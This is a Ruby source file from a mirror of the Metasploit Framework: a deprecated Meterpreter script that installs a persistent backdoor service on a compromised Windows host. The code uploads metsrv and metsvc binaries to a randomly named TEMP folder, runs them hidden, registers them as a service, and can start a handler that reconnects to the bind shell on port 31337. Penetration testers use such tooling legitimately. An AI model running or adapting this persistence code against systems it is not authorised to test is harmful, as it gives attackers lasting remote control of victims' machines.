mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-02 07:40:19 +02:00
140 lines
3.4 KiB
Ruby
140 lines
3.4 KiB
Ruby
##
|
|
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
|
# If you'd like to improve this script, please try to port it as a post
|
|
# module instead. Thank you.
|
|
##
|
|
|
|
|
|
|
|
#
|
|
# Meterpreter script for installing the meterpreter service
|
|
#
|
|
|
|
session = client
|
|
|
|
#
|
|
# Options
|
|
#
|
|
opts = Rex::Parser::Arguments.new(
|
|
"-h" => [ false, "This help menu"],
|
|
"-r" => [ false, "Uninstall an existing Meterpreter service (files must be deleted manually)"],
|
|
"-A" => [ false, "Automatically start a matching exploit/multi/handler to connect to the service"]
|
|
)
|
|
|
|
# Exec a command and return the results
|
|
def m_exec(session, cmd)
|
|
r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
|
|
b = ""
|
|
while(d = r.channel.read)
|
|
b << d
|
|
end
|
|
r.channel.close
|
|
r.close
|
|
b
|
|
end
|
|
|
|
#
|
|
# Default parameters
|
|
#
|
|
|
|
based = File.join(Msf::Config.data_directory, "meterpreter")
|
|
rport = 31337
|
|
install = false
|
|
autoconn = false
|
|
remove = false
|
|
if client.platform == 'windows'
|
|
|
|
#
|
|
# Option parsing
|
|
#
|
|
opts.parse(args) do |opt, idx, val|
|
|
case opt
|
|
when "-h"
|
|
print_line(opts.usage)
|
|
raise Rex::Script::Completed
|
|
when "-A"
|
|
autoconn = true
|
|
when "-r"
|
|
remove = true
|
|
end
|
|
end
|
|
|
|
#
|
|
# Create the persistent VBS
|
|
#
|
|
|
|
if(not remove)
|
|
print_status("Creating a meterpreter service on port #{rport}")
|
|
else
|
|
print_status("Removing the existing Meterpreter service")
|
|
end
|
|
|
|
#
|
|
# Upload to the filesystem
|
|
#
|
|
|
|
tempdir = client.sys.config.getenv('TEMP') + "\\" + Rex::Text.rand_text_alpha(rand(8)+8)
|
|
|
|
print_status("Creating a temporary installation directory #{tempdir}...")
|
|
client.fs.dir.mkdir(tempdir)
|
|
|
|
# Use an array of `from -> to` associations so that things
|
|
# such as metsrv can be copied from the appropriate location
|
|
# but named correctly on the target.
|
|
bins = {
|
|
'metsrv.x86.dll' => 'metsrv.dll',
|
|
'metsvc-server.exe' => nil,
|
|
'metsvc.exe' => nil
|
|
}
|
|
|
|
bins.each do |from, to|
|
|
next if (from != "metsvc.exe" and remove)
|
|
to ||= from
|
|
print_status(" >> Uploading #{from}...")
|
|
fd = client.fs.file.new(tempdir + "\\" + to, "wb")
|
|
path = (from == 'metsrv.x86.dll') ? MetasploitPayloads.meterpreter_path('metsrv','x86.dll') : File.join(based, from)
|
|
fd.write(::File.read(path, ::File.size(path), mode: 'rb'))
|
|
fd.close
|
|
end
|
|
|
|
#
|
|
# Execute the agent
|
|
#
|
|
if(not remove)
|
|
print_status("Starting the service...")
|
|
client.fs.dir.chdir(tempdir)
|
|
data = m_exec(client, "metsvc.exe install-service")
|
|
print_line("\t#{data}")
|
|
else
|
|
print_status("Stopping the service...")
|
|
client.fs.dir.chdir(tempdir)
|
|
data = m_exec(client, "metsvc.exe remove-service")
|
|
print_line("\t#{data}")
|
|
end
|
|
|
|
if(remove)
|
|
m_exec(client, "cmd.exe /c del metsvc.exe")
|
|
end
|
|
|
|
#
|
|
# Setup the exploit/multi/handler if requested
|
|
#
|
|
if(autoconn)
|
|
print_status("Trying to connect to the Meterpreter service at #{client.session_host}:#{rport}...")
|
|
mul = client.framework.exploits.create("multi/handler")
|
|
mul.datastore['WORKSPACE'] = client.workspace
|
|
mul.datastore['PAYLOAD'] = "windows/metsvc_bind_tcp"
|
|
mul.datastore['LPORT'] = rport
|
|
mul.datastore['RHOST'] = client.session_host
|
|
mul.datastore['ExitOnSession'] = false
|
|
mul.exploit_simple(
|
|
'Payload' => mul.datastore['PAYLOAD'],
|
|
'RunAsJob' => true
|
|
)
|
|
end
|
|
|
|
else
|
|
print_error("This version of Meterpreter is not supported with this Script!")
|
|
raise Rex::Script::Completed
|
|
end
|